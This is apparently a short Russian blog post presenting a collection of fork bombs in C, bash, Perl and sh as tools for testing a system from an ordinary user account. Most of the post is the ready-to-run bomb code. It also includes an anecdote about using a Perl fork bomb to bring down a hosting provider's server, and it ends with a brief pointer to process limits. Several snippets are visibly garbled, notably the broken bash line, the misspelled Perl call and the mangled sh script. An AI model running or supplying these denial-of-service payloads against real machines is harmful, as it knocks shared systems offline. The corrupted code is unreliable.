Осторожно — бомба!
Нет ничего лучшего для теста на защищенность системы изнутри, чем прогон различных форкбомб, запущенных из-под обычного пользователя.
Коллекцию подобных бомб я и хочу сегодня представить. Но для начала, немного о том, что такое это самое — fork-бомба?
Если говорить простым языком, то обычная программа, которая в бесконечном цикле запускает саму себя через fork и забивает ресурсы системы с геометрической прогрессией.
Осторожно! Запуск нижеприведенного кода способен нарушить работу вашей системы! Действуйте на свой страх и риск.
КлаC++ика на C:
#include <unistd.h> int main() { while(1) fork(); }
еbash:
){
:&};:
perlовка:
perl -MPOSIX -e '$pid=fork; exit if $pid; setid; fork while(1)'
страshны sh:
Запуск файла с таким вот содержимым:#!/bin/sh$0 & $0 & . ./_`echo . ./_\&. ./_>_` $ echo '. ./_&. ./_'>_;. ./_
Помню как один хостер когда-то решил похвастать, что выставил лимиты на апач и его сервер ничем не свалить. Ну да, действительно на nobody, от которого пускался апач — стояли лимиты и запрет exec в php. Но на сервере оставался perl через suexec. Вобщем пришлось ему ребутить сервак
Так что — осторожнее. Пусть и форковая, это все-таки бомба. Не пускайте ее на продакшене. И да пребудет с вами сила RLIMIT on Execive

(4 голосов, средний: 4.00 из 5)
